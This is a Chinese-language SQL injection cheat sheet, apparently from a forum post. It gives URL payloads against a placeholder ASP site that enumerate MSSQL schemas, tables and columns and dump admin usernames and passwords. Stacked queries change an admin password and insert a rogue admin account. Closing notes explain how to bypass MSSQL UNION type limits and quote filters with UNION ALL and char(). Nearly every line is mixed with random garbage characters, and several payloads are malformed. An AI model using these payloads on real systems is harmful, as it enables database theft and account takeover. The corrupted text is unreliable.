爆库:' B0 f0 U( }- C
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--7 p8 @. H: l0 S1 a' b; H
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
% c$ X c- _2 p; v$ M爆下一个库:& h8 P, p# `! {2 ~- K: u
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
5 n1 R U8 w+ d% M" M" Q( T) i( b
8 q( z7 [ t% c/ A" D爆表:
6 l8 S7 q' B5 E/ Y4 {. L! m# [http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--7 |. W6 a* x' }4 O. [
) {! Y/ |! h! {0 u0 Q& @SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.& I3 U9 |8 N' ?$ y+ V
& k+ [# @' U# v) o/ R
爆下一个表
; [( P; ~$ i1 z. hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
2 r$ x) B Z/ n, j" k
! H) N0 @- k7 j# w; h7 Shttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
8 N4 o+ s" Q: m5 k- J- ?6 l9 K5 T7 s! k# Z$ g& s
7 k7 ]' N' {5 {
* ^& A" k0 S& Y y6 K爆字段:: g5 u! `" Y* T7 r+ f. C
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
( g8 ~8 }' ?! g$ I. J
: h, a" _! F1 N% d9 C爆下一个字段
% m; {9 j( w- c6 Thttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
5 b g, Q n3 {% i4 D- A. n l( c' S4 x ?2 {9 `" u E! V
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--, M" n) I. I' J, ~6 X1 l
. T- l$ F) Z& K* @. X, H( ]" V/ m* N. e& n3 w8 [& Y; w9 u
爆字段里的内容2 e$ @ p3 W3 s& \; n$ q( b
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--1 ^ X3 L/ E% K7 B
8 ~2 q5 l2 ~/ v' r" T/ {! N- d1 v
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--9 `$ w' n3 c6 C
/ |* r. \7 N8 k0 K0 A5 y
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
0 b( j. J( s9 a9 q5 J) |4 z2 S& }9 I4 x9 t$ o" j; m2 D$ o
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--. i2 R/ ]& l2 P' P! v6 G* K( c
& Z' x* i8 O1 _2 f0 S7 E2 v
更新字段里的内容
% q) j3 q/ [) o H* nhttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--: i' p \! Q" C0 i. ?: ?
+ x/ \) S2 R: A# D: J# V- r; l5 j
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
( u+ F B$ s& M W6 i
' M# W: ~9 x) N9 e8 B+ t- ~* f# m8 B" R w% A
9 X+ |7 h6 ]. X: O: D 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
' d8 Y+ s: n" f: n4 G7 @+ W 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
2 j) h; p7 ~, s1 M 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。5 H2 x1 X; `' s! V5 O9 h j: I
最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
& G% N4 d( P7 j1 T" e' P$ @/ \8 W3 j# Y
突了了大部份限制的语句 U, L% @, M) W; x) g
and 1=2 union all select char(49),char(50),null,null;--/ b8 ~9 J; A8 N3 I$ R7 ^. l) W; ~
* s5 w! |& t0 x8 {$ @2 |3 {
) F$ Y- Z$ k4 v7 Y3 L) u. L5 p' Hnull也可以正常执行,不过没有回显,不好判断回显的列数。
9 ?0 W3 N4 }$ U: e4 p; f一般union遇到问题都是有text或者ntext字段,image的很少遇到$ Z4 v" F H; ]# y! [3 M: A- b$ q
Q0 N3 ~! q3 R6 |- N' q! X$ N可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟7 I% R" v1 q) F% d, [! q4 _) j; W
) s1 R0 q; J7 Y3 k
# X/ C* K$ `5 D% t8 I8 s |